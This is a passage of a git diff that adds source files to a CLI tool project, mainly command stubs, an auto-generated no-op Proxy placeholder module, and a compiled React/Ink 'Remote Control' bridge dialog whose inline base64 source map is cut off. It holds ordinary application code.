+    return { type: 'text', value: formatReleaseNotes(cachedNotes) }
+  }
+
+  // Nothing available, show link
+  return {
+    type: 'text',
+    value: `See the full changelog at: ${CHANGELOG_URL}`,
+  }
+}
diff --git a/cc-haha/src/commands/summary/index.js b/cc-haha/src/commands/summary/index.js
new file mode 100644
index 0000000..e1a619d
--- /dev/null
+++ b/cc-haha/src/commands/summary/index.js
@@ -0,0 +1 @@
+export default { isEnabled: () => false, isHidden: true, name: 'stub' };
diff --git a/cc-haha/src/commands/tasks/index.ts b/cc-haha/src/commands/tasks/index.ts
new file mode 100644
index 0000000..e9e5ad1
--- /dev/null
+++ b/cc-haha/src/commands/tasks/index.ts
@@ -0,0 +1,11 @@
+import type { Command } from '../../commands.js'
+
+const tasks = {
+  type: 'local-jsx',
+  name: 'tasks',
+  aliases: ['bashes'],
+  description: 'List and manage background tasks',
+  load: () => import('./tasks.js'),
+} satisfies Command
+
+export default tasks
diff --git a/cc-haha/src/components/.syncthing.InvalidConfigDialog.tsx.tmp b/cc-haha/src/components/.syncthing.InvalidConfigDialog.tsx.tmp
new file mode 100644
index 0000000..31dd69a
Binary files /dev/null and b/cc-haha/src/components/.syncthing.InvalidConfigDialog.tsx.tmp differ
diff --git a/cc-haha/src/components/AntModelSwitchCallout.ts b/cc-haha/src/components/AntModelSwitchCallout.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/components/AntModelSwitchCallout.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/components/BridgeDialog.tsx b/cc-haha/src/components/BridgeDialog.tsx
new file mode 100644
index 0000000..4f25836
--- /dev/null
+++ b/cc-haha/src/components/BridgeDialog.tsx
@@ -0,0 +1,401 @@
+import { c as _c } from "react/compiler-runtime";
+import { basename } from 'path';
+import { toString as qrToString } from 'qrcode';
+import * as React from 'react';
+import { useEffect, useState } from 'react';
+import { getOriginalCwd } from '../bootstrap/state.js';
+import { buildActiveFooterText, buildIdleFooterText, FAILED_FOOTER_TEXT, getBridgeStatus } from '../bridge/bridgeStatusUtil.js';
+import { BRIDGE_FAILED_INDICATOR, BRIDGE_READY_INDICATOR } from '../constants/figures.js';
+import { useRegisterOverlay } from '../context/overlayContext.js';
+// eslint-disable-next-line custom-rules/prefer-use-keybindings -- raw 'd' key for disconnect, not a configurable keybinding action
+import { Box, Text, useInput } from '../ink.js';
+import { useKeybindings } from '../keybindings/useKeybinding.js';
+import { useAppState, useSetAppState } from '../state/AppState.js';
+import { saveGlobalConfig } from '../utils/config.js';
+import { getBranch } from '../utils/git.js';
+import { Dialog } from './design-system/Dialog.js';
+type Props = {
+  onDone: () => void;
+};
+export function BridgeDialog(t0) {
+  const $ = _c(87);
+  const {
+    onDone
+  } = t0;
+  useRegisterOverlay("bridge-dialog");
+  const connected = useAppState(_temp);
+  const sessionActive = useAppState(_temp2);
+  const reconnecting = useAppState(_temp3);
+  const connectUrl = useAppState(_temp4);
+  const sessionUrl = useAppState(_temp5);
+  const error = useAppState(_temp6);
+  const explicit = useAppState(_temp7);
+  const environmentId = useAppState(_temp8);
+  const sessionId = useAppState(_temp9);
+  const verbose = useAppState(_temp0);
+  const setAppState = useSetAppState();
+  const [showQR, setShowQR] = useState(false);
+  const [qrText, setQrText] = useState("");
+  const [branchName, setBranchName] = useState("");
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = basename(getOriginalCwd());
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  const repoName = t1;
+  let t2;
+  let t3;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = () => {
+      getBranch().then(setBranchName).catch(_temp1);
+    };
+    t3 = [];
+    $[1] = t2;
+    $[2] = t3;
+  } else {
+    t2 = $[1];
+    t3 = $[2];
+  }
+  useEffect(t2, t3);
+  const displayUrl = sessionActive ? sessionUrl : connectUrl;
+  let t4;
+  let t5;
+  if ($[3] !== displayUrl || $[4] !== showQR) {
+    t4 = () => {
+      if (!showQR || !displayUrl) {
+        setQrText("");
+        return;
+      }
+      qrToString(displayUrl, {
+        type: "utf8",
+        errorCorrectionLevel: "L",
+        small: true
+      }).then(setQrText).catch(() => setQrText(""));
+    };
+    t5 = [showQR, displayUrl];
+    $[3] = displayUrl;
+    $[4] = showQR;
+    $[5] = t4;
+    $[6] = t5;
+  } else {
+    t4 = $[5];
+    t5 = $[6];
+  }
+  useEffect(t4, t5);
+  let t6;
+  if ($[7] === Symbol.for("react.memo_cache_sentinel")) {
+    t6 = () => {
+      setShowQR(_temp10);
+    };
+    $[7] = t6;
+  } else {
+    t6 = $[7];
+  }
+  let t7;
+  if ($[8] !== onDone) {
+    t7 = {
+      "confirm:yes": onDone,
+      "confirm:toggle": t6
+    };
+    $[8] = onDone;
+    $[9] = t7;
+  } else {
+    t7 = $[9];
+  }
+  let t8;
+  if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
+    t8 = {
+      context: "Confirmation"
+    };
+    $[10] = t8;
+  } else {
+    t8 = $[10];
+  }
+  useKeybindings(t7, t8);
+  let t9;
+  if ($[11] !== explicit || $[12] !== onDone || $[13] !== setAppState) {
+    t9 = input => {
+      if (input === "d") {
+        if (explicit) {
+          saveGlobalConfig(_temp11);
+        }
+        setAppState(_temp12);
+        onDone();
+      }
+    };
+    $[11] = explicit;
+    $[12] = onDone;
+    $[13] = setAppState;
+    $[14] = t9;
+  } else {
+    t9 = $[14];
+  }
+  useInput(t9);
+  let t10;
+  if ($[15] !== connected || $[16] !== error || $[17] !== reconnecting || $[18] !== sessionActive) {
+    t10 = getBridgeStatus({
+      error,
+      connected,
+      sessionActive,
+      reconnecting
+    });
+    $[15] = connected;
+    $[16] = error;
+    $[17] = reconnecting;
+    $[18] = sessionActive;
+    $[19] = t10;
+  } else {
+    t10 = $[19];
+  }
+  const {
+    label: statusLabel,
+    color: statusColor
+  } = t10;
+  const indicator = error ? BRIDGE_FAILED_INDICATOR : BRIDGE_READY_INDICATOR;
+  let T0;
+  let T1;
+  let footerText;
+  let t11;
+  let t12;
+  let t13;
+  let t14;
+  let t15;
+  let t16;
+  let t17;
+  if ($[20] !== branchName || $[21] !== displayUrl || $[22] !== environmentId || $[23] !== error || $[24] !== indicator || $[25] !== onDone || $[26] !== qrText || $[27] !== sessionActive || $[28] !== sessionId || $[29] !== showQR || $[30] !== statusColor || $[31] !== statusLabel || $[32] !== verbose) {
+    const qrLines = qrText ? qrText.split("\n").filter(_temp13) : [];
+    let contextParts;
+    if ($[43] !== branchName) {
+      contextParts = [];
+      if (repoName) {
+        contextParts.push(repoName);
+      }
+      if (branchName) {
+        contextParts.push(branchName);
+      }
+      $[43] = branchName;
+      $[44] = contextParts;
+    } else {
+      contextParts = $[44];
+    }
+    const contextSuffix = contextParts.length > 0 ? " \xB7 " + contextParts.join(" \xB7 ") : "";
+    let t18;
+    if ($[45] !== displayUrl || $[46] !== error || $[47] !== sessionActive) {
+      t18 = error ? FAILED_FOOTER_TEXT : displayUrl ? sessionActive ? buildActiveFooterText(displayUrl) : buildIdleFooterText(displayUrl) : undefined;
+      $[45] = displayUrl;
+      $[46] = error;
+      $[47] = sessionActive;
+      $[48] = t18;
+    } else {
+      t18 = $[48];
+    }
+    footerText = t18;
+    T1 = Dialog;
+    t15 = "Remote Control";
+    t16 = onDone;
+    t17 = true;
+    T0 = Box;
+    t11 = "column";
+    t12 = 1;
+    let t19;
+    if ($[49] !== indicator || $[50] !== statusColor || $[51] !== statusLabel) {
+      t19 = <Text color={statusColor}>{indicator} {statusLabel}</Text>;
+      $[49] = indicator;
+      $[50] = statusColor;
+      $[51] = statusLabel;
+      $[52] = t19;
+    } else {
+      t19 = $[52];
+    }
+    let t20;
+    if ($[53] !== contextSuffix) {
+      t20 = <Text dimColor={true}>{contextSuffix}</Text>;
+      $[53] = contextSuffix;
+      $[54] = t20;
+    } else {
+      t20 = $[54];
+    }
+    let t21;
+    if ($[55] !== t19 || $[56] !== t20) {
+      t21 = <Text>{t19}{t20}</Text>;
+      $[55] = t19;
+      $[56] = t20;
+      $[57] = t21;
+    } else {
+      t21 = $[57];
+    }
+    let t22;
+    if ($[58] !== error) {
+      t22 = error && <Text color="error">{error}</Text>;
+      $[58] = error;
+      $[59] = t22;
+    } else {
+      t22 = $[59];
+    }
+    let t23;
+    if ($[60] !== environmentId || $[61] !== verbose) {
+      t23 = verbose && environmentId && <Text dimColor={true}>Environment: {environmentId}</Text>;
+      $[60] = environmentId;
+      $[61] = verbose;
+      $[62] = t23;
+    } else {
+      t23 = $[62];
+    }
+    let t24;
+    if ($[63] !== sessionId || $[64] !== verbose) {
+      t24 = verbose && sessionId && <Text dimColor={true}>Session: {sessionId}</Text>;
+      $[63] = sessionId;
+      $[64] = verbose;
+      $[65] = t24;
+    } else {
+      t24 = $[65];
+    }
+    if ($[66] !== t21 || $[67] !== t22 || $[68] !== t23 || $[69] !== t24) {
+      t13 = <Box flexDirection="column">{t21}{t22}{t23}{t24}</Box>;
+      $[66] = t21;
+      $[67] = t22;
+      $[68] = t23;
+      $[69] = t24;
+      $[70] = t13;
+    } else {
+      t13 = $[70];
+    }
+    t14 = showQR && qrLines.length > 0 && <Box flexDirection="column">{qrLines.map(_temp14)}</Box>;
+    $[20] = branchName;
+    $[21] = displayUrl;
+    $[22] = environmentId;
+    $[23] = error;
+    $[24] = indicator;
+    $[25] = onDone;
+    $[26] = qrText;
+    $[27] = sessionActive;
+    $[28] = sessionId;
+    $[29] = showQR;
+    $[30] = statusColor;
+    $[31] = statusLabel;
+    $[32] = verbose;
+    $[33] = T0;
+    $[34] = T1;
+    $[35] = footerText;
+    $[36] = t11;
+    $[37] = t12;
+    $[38] = t13;
+    $[39] = t14;
+    $[40] = t15;
+    $[41] = t16;
+    $[42] = t17;
+  } else {
+    T0 = $[33];
+    T1 = $[34];
+    footerText = $[35];
+    t11 = $[36];
+    t12 = $[37];
+    t13 = $[38];
+    t14 = $[39];
+    t15 = $[40];
+    t16 = $[41];
+    t17 = $[42];
+  }
+  let t18;
+  if ($[71] !== footerText) {
+    t18 = footerText && <Text dimColor={true}>{footerText}</Text>;
+    $[71] = footerText;
+    $[72] = t18;
+  } else {
+    t18 = $[72];
+  }
+  let t19;
+  if ($[73] === Symbol.for("react.memo_cache_sentinel")) {
+    t19 = <Text dimColor={true}>d to disconnect · space for QR code · Enter/Esc to close</Text>;
+    $[73] = t19;
+  } else {
+    t19 = $[73];
+  }
+  let t20;
+  if ($[74] !== T0 || $[75] !== t11 || $[76] !== t12 || $[77] !== t13 || $[78] !== t14 || $[79] !== t18) {
+    t20 = <T0 flexDirection={t11} gap={t12}>{t13}{t14}{t18}{t19}</T0>;
+    $[74] = T0;
+    $[75] = t11;
+    $[76] = t12;
+    $[77] = t13;
+    $[78] = t14;
+    $[79] = t18;
+    $[80] = t20;
+  } else {
+    t20 = $[80];
+  }
+  let t21;
+  if ($[81] !== T1 || $[82] !== t15 || $[83] !== t16 || $[84] !== t17 || $[85] !== t20) {
+    t21 = <T1 title={t15} onCancel={t16} hideInputGuide={t17}>{t20}</T1>;
+    $[81] = T1;
+    $[82] = t15;
+    $[83] = t16;
+    $[84] = t17;
+    $[85] = t20;
+    $[86] = t21;
+  } else {
+    t21 = $[86];
+  }
+  return t21;
+}
+function _temp14(line, i) {
+  return <Text key={i}>{line}</Text>;
+}
+function _temp13(l) {
+  return l.length > 0;
+}
+function _temp12(prev_0) {
+  if (!prev_0.replBridgeEnabled) {
+    return prev_0;
+  }
+  return {
+    ...prev_0,
+    replBridgeEnabled: false
+  };
+}
+function _temp11(current) {
+  if (current.remoteControlAtStartup === false) {
+    return current;
+  }
+  return {
+    ...current,
+    remoteControlAtStartup: false
+  };
+}
+function _temp10(prev) {
+  return !prev;
+}
+function _temp1() {}
+function _temp0(s_8) {
+  return s_8.verbose;
+}
+function _temp9(s_7) {
+  return s_7.replBridgeSessionId;
+}
+function _temp8(s_6) {
+  return s_6.replBridgeEnvironmentId;
+}
+function _temp7(s_5) {
+  return s_5.replBridgeExplicit;
+}
+function _temp6(s_4) {
+  return s_4.replBridgeError;
+}
+function _temp5(s_3) {
+  return s_3.replBridgeSessionUrl;
+}
+function _temp4(s_2) {
+  return s_2.replBridgeConnectUrl;
+}
+function _temp3(s_1) {
+  return s_1.replBridgeReconnecting;
+}
+function _temp2(s_0) {
+  return s_0.replBridgeSessionActive;
+}
+function _temp(s) {
+  return s.replBridgeConnected;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJiYXNlbmFtZSIsInRvU3RyaW5nIiwicXJUb1N0cmluZyIsIlJlYWN0IiwidXNlRWZmZWN0IiwidXNlU3RhdGUiLCJnZXRPcmlnaW5hbEN3ZCIsImJ1aWxkQWN0aXZlRm9vdGVyVGV4dCIsImJ1aWxkSWRsZUZvb3RlclRleHQiLCJGQUlMRURfRk9PVEVSX1RFWFQiLCJnZXRCcmlkZ2VTdGF0dXMiLCJCUklER0VfRkFJTEVEX0lORElDQVRPUiIsIkJSSURHRV9SRUFEWV9JTkRJQ0FUT1IiLCJ1c2VSZWdpc3Rlck92ZXJsYXkiLCJCb3giLCJUZXh0IiwidXNlSW5wdXQiLCJ1c2VLZXliaW5kaW5ncyIsInVzZUFwcFN0YXRlIiwidXNlU2V0QXBwU3RhdGUiLCJzYXZlR2xvYmFsQ29uZmlnIiwiZ2V0QnJhbmNoIiwiRGlhbG9nIiwiUHJvcHMiLCJvbkRvbmUiLCJCcmlkZ2VEaWFsb2ciLCJ0MCIsIiQiLCJfYyIsImNvbm5lY3RlZCIsIl90ZW1wIiwic2Vzc2lvbkFjdGl2ZSIsIl90ZW1wMiIsInJlY29ubmVjdGluZyIsIl90ZW1wMyIsImNvbm5lY3RVcmwiLCJfdGVtcDQiLCJzZXNzaW9uVXJsIiwiX3RlbXA1IiwiZXJyb3IiLCJfdGVtcDYiLCJleHBsaWNpdCIsIl90ZW1wNyIsImVudmlyb25tZW50SWQiLCJfdGVtcDgiLCJzZXNzaW9uSWQiLCJfdGVtcDkiLCJ2ZXJib3NlIiwiX3RlbXAwIiwic2V0QXBwU3RhdGUiLCJzaG93UVIiLCJzZXRTaG93UVIiLCJxclRleHQiLCJzZXRRclRleHQiLCJicmFuY2hOYW1lIiwic2V0QnJhbmNoTmFtZSIsInQxIiwiU3ltYm9sIiwiZm9yIiwicmVwb05hbWUiLCJ0MiIsInQzIiwidGhlbiIsImNhdGNoIiwiX3RlbXAxIiwiZGlzcGxheVVybCIsInQ0IiwidDUiLCJ0eXBlIiwiZXJyb3JDb3JyZWN0aW9uTGV2ZWwiLCJzbWFsbCIsInQ2IiwiX3RlbXAxMCIsInQ3IiwidDgiLCJjb250ZXh0IiwidDkiLCJpbnB1dCIsIl90ZW1wMTEiLCJfdGVtcDEyIiwidDEwIiwibGFiZWwiLCJzdGF0dXNMYWJlbCIsImNvbG9yIiwic3RhdHVzQ29sb3IiLCJpbmRpY2F0b3IiLCJUMCIsIlQxIiwiZm9vdGVyVGV4dCIsInQxMSIsInQxMiIsInQxMyIsInQxNCIsInQxNSIsInQxNiIsInQxNyIsInFyTGluZXMiLCJzcGxpdCIsImZpbHRlciIsIl90ZW1wMTMiLCJjb250ZXh0UGFydHMiLCJwdXNoIiwiY29udGV4dFN1ZmZpeCIsImxlbmd0aCIsImpvaW4iLCJ0MTgiLCJ1bmRlZmluZWQiLCJ0MTkiLCJ0MjAiLCJ0MjEiLCJ0MjIiLCJ0MjMiLCJ0MjQiLCJtYXAiLCJfdGVtcDE0IiwibGluZSIsImkiLCJsIiwicHJldl8wIiwicHJldiIsInJlcGxCcmlkZ2VFbmFibGVkIiwiY3VycmVudCIsInJlbW90ZUNvbnRyb2xBdFN0YXJ0dXAiLCJzXzgiLCJzIiwic183IiwicmVwbEJyaWRnZVNlc3Npb25JZCIsInNfNiIsInJlcGxCcmlkZ2VFbnZpcm9ubWVudElkIiwic181IiwicmVwbEJyaWRnZUV4cGxpY2l0Iiwic180IiwicmVwbEJyaWRnZUVycm9yIiwic18zIiwicmVwbEJyaWRnZVNlc3Npb25VcmwiLCJzXzIiLCJyZXBsQnJpZGdlQ29ubmVjdFVybCIsInNfMSIsInJlcGxCcmlkZ2VSZWNvbm5lY3RpbmciLCJzXzAiLCJyZXBsQnJpZGdlU2Vzc2lvbkFjdGl2ZSIsInJlcGxCcmlkZ2VDb25uZWN0ZWQiXSwic291cmNlcyI6WyJCcmlkZ2VEaWFsb2cudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7IGJhc2VuYW1lIH0gZnJvbSAncGF0aCdcbmltcG9ydCB7IHRvU3RyaW5nIGFzIHFyVG9TdHJpbmcgfSBmcm9tICdxcmNvZGUnXG5pbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IHVzZUVmZmVjdCwgdXNlU3RhdGUgfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IGdldE9yaWdpbmFsQ3dkIH0gZnJvbSAnLi4vYm9vdHN0cmFwL3N0YXRlLmpzJ1xuaW1wb3J0IHtcbiAgYnVpbGRBY3RpdmVGb290ZXJUZXh0LFxuICBidWlsZElkbGVGb290ZXJUZXh0LFxuICBGQUlMRURfRk9PVEVSX1RFWFQsXG4gIGdldEJyaWRnZVN0YXR1cyxcbn0gZnJvbSAnLi4vYnJpZGdlL2JyaWRnZVN0YXR1c1V0aWwuanMnXG5pbXBvcnQge1xuICBCUklER0VfRkFJTEVEX0lORElDQVRPUixcbiAgQlJJREdFX1JFQURZX0lORElDQVRPUixcbn0gZnJvbSAnLi4vY29uc3RhbnRzL2ZpZ3VyZXMuanMnXG5pbXBvcnQgeyB1c2VSZWdpc3Rlck92ZXJsYXkgfSBmcm9tICcuLi9jb250ZXh0L292ZXJsYXlDb250ZXh0LmpzJ1xuLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGN1c3RvbS1ydWxlcy9wcmVmZXItdXNlLWtleWJpbmRpbmdzIC0tIHJhdyAnZCcga2V5IGZvciBkaXNjb25uZWN0LCBub3QgYSBjb25maWd1cmFibGUga2V5YmluZGluZyBhY3Rpb25cbmltcG9ydCB7IEJveCwgVGV4dCwgdXNlSW5wdXQgfSBmcm9tICcuLi9pbmsuanMnXG5pbXBvcnQgeyB1c2VLZXliaW5kaW5ncyB9IGZyb20gJy4uL2tleWJpbmRpbmdzL3VzZUtleWJpbmRpbmcuanMnXG5pbXBvcnQgeyB1c2VBcHBTdGF0ZSwgdXNlU2V0QXBwU3RhdGUgfSBmcm9tICcuLi9zdGF0ZS9BcHBTdGF0ZS5qcydcbmltcG9ydCB7IHNhdmVHbG9iYWxDb25maWcgfSBmcm9tICcuLi91dGlscy9jb25maWcuanMnXG5pbXBvcnQgeyBnZXRCcmFuY2ggfSBmcm9tICcuLi91dGlscy9naXQuanMnXG5pbXBvcnQgeyBEaWFsb2cgfSBmcm9tICcuL2Rlc2lnbi1zeXN0ZW0vRGlhbG9nLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICBvbkRvbmU6ICgpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIEJyaWRnZURpYWxvZyh7IG9uRG9uZSB9OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHVzZVJlZ2lzdGVyT3ZlcmxheSgnYnJpZGdlLWRpYWxvZycpXG5cbiAgY29uc3QgY29ubmVjdGVkID0gdXNlQXBwU3RhdGUocyA9PiBzLnJlcGxCcmlkZ2VDb25uZWN0ZWQpXG4gIGNvbnN0IHNlc3Npb25BY3RpdmUgPSB1c2VBcHBTdGF0ZShzID0+IHMucmVwbEJyaWRnZVNlc3Npb25BY3RpdmUpXG4gIGNvbnN0IHJlY29ubmVjdGluZyA9IHVzZUFwcFN0YXRlKHMgPT4gcy5yZXBsQnJpZGdlUmVjb25uZWN0aW5nKVxuICBjb25zdCBjb25uZWN0VXJsID0gdXNlQXBwU3RhdGUocyA9PiBzLnJlcGxCcmlkZ2VDb25uZWN0VXJsKVxuICBjb25zdCBzZXNzaW9uVXJsID0gdXNlQXBwU3RhdGUocyA9PiBzLnJlcGxCcmlkZ2VTZXNzaW9uVXJsKVxuICBjb25zdCBlcnJvciA9IHVzZUFwcFN0YXRlKHMgPT4gcy5yZXBsQnJpZGdlRXJyb3IpXG4gIGNvbnN0IGV4cGxpY2l0ID0gdXNlQXBwU3RhdGUocyA9PiBzLnJlcGxCcmlkZ2VFeHBsaWNpdClcbiAgY29uc3QgZW52aXJvbm1lbnRJZCA9IHVzZUFwcFN0YXRlKHMgPT4gcy5yZXBsQnJpZGdlRW52aXJvbm1lbnRJZClcbiAgY29uc3Qgc2Vzc2lvbklkID0gdXNlQXBwU3RhdGUocyA9PiBzLnJlcGxCcmlkZ2VTZXNzaW9uSWQpXG4gIGNvbnN0IHZlcmJvc2UgPSB1c2VBcHBTdGF0ZShzID0+IHMudmVyYm9zZSlcbiAgY29uc3Qgc2V0QXBwU3RhdGUgPSB1c2VTZXRBcHBTdGF0ZSgpXG5cbiAgY29uc3QgW3Nob3dRUiwgc2V0U2hvd1FSXSA9IHVzZVN0YXRlKGZhbHNlKVxuICBjb25zdCBbcXJUZXh0LCBzZXRRclRleHRdID0gdXNlU3RhdGUoJycpXG4gIGNvbnN0IFticmFuY2hOYW1lLCBzZXRCcmFuY2hOYW1lXSA9IHVzZVN0YXRlKCcnKVxuXG4gIGNvbnN0IHJlcG9OYW1lID0gYmFzZW5hbWUoZ2V0T3JpZ2luYWxDd2QoKSlcblxuICAvLyBGZXRjaCBicmFuY2ggbmFtZSBvbiBtb3VudFxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIGdldEJyYW5jaCgpXG4gICAgICAudGhlbihzZXRCcmFuY2hOYW1lKVxuICAgICAgLmNhdGNoKCgpID0+IHt9KVxuICB9LCBbXSlcblxuICAvLyBUaGUgVVJMIHRvIGRpc3BsYXkvUVI6IHNlc3Npb24gVVJMIHdoZW4gY29ubmVjdGVkLCBjb25uZWN0IFVSTCB3aGVuIHJlYWR5XG4gIGNvbnN0IGRpc3BsYXlVcmwgPSBzZXNzaW9uQWN0aXZlID8gc2Vzc2lvblVybCA6IGNvbm5lY3RVcmxcblxuICAvLyBHZW5lcmF0ZSBRUiBjb2RlIHdoZW4gVVJMIGNoYW5nZXMgb3IgUVIgaXMgdG9nZ2xlZCBvblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIGlmICghc2hvd1FSIHx8ICFkaXNwbGF5VXJsKSB7XG4gICAgICBzZXRRclRleHQoJycpXG4gICAgICByZXR1cm5cbiAgICB9XG4gICAgcXJUb1N0cmluZyhkaXNwbGF5VXJsLCB7XG4gICAgICB0eXBlOiAndXRmOCcsXG4gICAgICBlcnJvckNvcnJlY3Rpb25MZXZlbDogJ0wnLFxuICAgICAgc21hbGw6IHRydWUsXG4gICAgfSlcbiAgICAgIC50aGVuKHNldFFyVGV4dClcbiAgICAgIC5jYXRjaCgoKSA9PiBzZXRRclRleHQoJycpKVxuICB9LCBbc2hvd1FSLCBkaXNwbGF5VXJsXSlcblxuICB1c2VLZXliaW5kaW5ncyhcbiAgICB7XG4gICAgICAnY29uZmlybTp5ZXMnOiBvbkRvbmUsXG4gICAgICAnY29uZmlybTp0b2dnbGUnOiAoKSA9PiB7XG4gICAgICAgIHNldFNob3dRUihwcmV2ID0+ICFwcmV2KVxuICAgICAgfSxcbiAgICB9LFxuICAgIHsgY29udGV4dDogJ0NvbmZpcm1hdGlvbicgfSxcbiAgKVxuXG4gIHVzZUlucHV0KGlucHV0ID0+IHtcbiAgICBpZiAoaW5wdXQgPT09ICdkJykge1xuICAgICAgLy8gUGVyc2lzdCBvcHQtb3V0IG9ubHkgZm9yIENMSS1mbGFnL2NvbW1hbmQtYWN0aXZhdGVkIGJyaWRnZS5cbiAgICAgIC8vIENvbmZpZy1kcml2ZW4gYW5kIEdCLWF1dG8tY29ubmVjdCB1c2VycyBnZXQgc2Vzc2lvbi1vbmx5IGRpc2Nvbm5lY3RcbiAgICAgIC8vIOKAlCB3cml0aW5nIGZhbHNlIHdvdWxkIHNpbGVudGx5IHVuZG8gYSBTZXR0aW5ncyBjaG9pY2Ugb3Igb3B0IGFcbiAgICAgIC8vIEdCLXJvbGxvdXQgdXNlciBvdXQgcGVybWFuZW50bHkuXG4gICAgICBpZiAoZXhwbGljaXQpIHtcbiAgICAgICAgc2F2ZUdsb2JhbENvbmZpZyhjdXJyZW50ID0+IHtcbiAgICAgICAgICBpZiAoY3VycmVudC5yZW1vdGVDb250cm9sQXRTdGFydHVwID09PSBmYWxzZSkgcmV0dXJuIGN1cnJlbnRcbiAgICAgICAgICByZXR1cm4geyAuLi5jdXJyZW50LCByZW1vdGVDb250cm9sQXRTdGFydHVwOiBmYWxzZSB9XG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgICBzZXRBcHBTdGF0ZShwcmV2ID0+IHtcbiAgICAgICAgaWYgKCFwcmV2LnJlcGxCcmlkZ2VFbmFibGVkKSByZXR1cm4gcHJldlxuICAgICAgICByZXR1cm4geyAuLi5wcmV2LCByZXBsQnJpZGdlRW5hYmxlZDogZmFsc2UgfVxuICAgICAgfSlcbiAgICAgIG9uRG9uZSgpXG4gICAgfVxuICB9KVxuXG4gIGNvbnN0IHsgbGFiZWw6IHN0YXR1c0xhYmVsLCBjb2xvcjogc3RhdHVzQ29sb3IgfSA9IGdldEJyaWRnZVN0YXR1cyh7XG4gICAgZXJyb3IsXG4gICAgY29ubmVjdGVkLFxuICAgIHNlc3Npb25BY3RpdmUsXG4gICAgcmVjb25uZWN0aW5nLFxuICB9KVxuICBjb25zdCBpbmRpY2F0b3IgPSBlcnJvciA/IEJSSURHRV9GQUlMRURfSU5ESUNBVE9SIDogQlJJREdFX1JFQURZX0lORElDQVRPUlxuICBjb25zdCBxckxpbmVzID0gcXJUZXh0ID8gcXJUZXh0LnNwbGl0KCdcXG4nKS5maWx0ZXIobCA9PiBsLmxlbmd0aCA+IDApIDogW11cblxuICAvLyBCdWlsZCBzdWZmaXggd2l0aCByZXBvIGFuZCBicmFuY2ggKG1hdGNoZXMgc3RhbmRhbG9uZSBicmlkZ2UgZm9ybWF0KVxuICBjb25zdCBjb250ZXh0UGFydHM6IHN0cmluZ1tdID0gW11cbiAgaWYgKHJlcG9OYW1lKSBjb250ZXh0UGFydHMucHVzaChyZXBvTmFtZSlcbiAgaWYgKGJyYW5jaE5hbWUpIGNvbnRleHRQYXJ0cy5wdXNoKGJyYW5jaE5hbWUpXG4gIGNvbnN0IGNvbnRleHRTdWZmaXggPVxuICAgIGNvbnRleHRQYXJ0cy5sZW5ndGggPiAwID8gJyBcXHUwMGI3ICcgKyBjb250ZXh0UGFydHMuam9pbignIFxcdTAwYjcgJykgOiAnJ1xuXG4gIC8vIEZvb3RlciB0ZXh0IG1hdGNoZXMgc3RhbmRhbG9uZSBicmlkZ2VcbiAgY29uc3QgZm9vdGVyVGV4dCA9IGVycm9yXG4gICAgPyBGQUlMRURfRk9PVEVSX1RFWFRcbiAgICA6IGRpc3BsYXlVcmxcbiAgICAgID8gc2Vzc2lvbkFjdGl2ZVxuICAgICAgICA/IGJ1aWxkQWN0aXZlRm9vdGVyVGV4dChkaXNwbGF5VXJsKVxuICAgICAgICA6IGJ1aWxkSWRsZUZvb3RlclRleHQoZGlzcGxheVVybClcbiAgICAgIDogdW5kZWZpbmVkXG5cbiAgcmV0dXJuIChcbiAgICA8RGlhbG9nIHRpdGxlPVwiUmVtb3RlIENvbnRyb2xcIiBvbkNhbmNlbD17b25Eb25lfSBoaWRlSW5wdXRHdWlkZT5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIGdhcD17MX0+XG4gICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgPFRleHQgY29sb3I9e3N0YXR1c0NvbG9yfT5cbiAgICAgICAgICAgICAge2luZGljYXRvcn0ge3N0YXR1c0xhYmVsfVxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+e2NvbnRleHRTdWZmaXh9PC9UZXh0PlxuICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICB7ZXJyb3IgJiYgPFRleHQgY29sb3I9XCJlcnJvclwiPntlcnJvcn08L1RleHQ+fVxuICAgICAgICAgIHt2ZXJib3NlICYm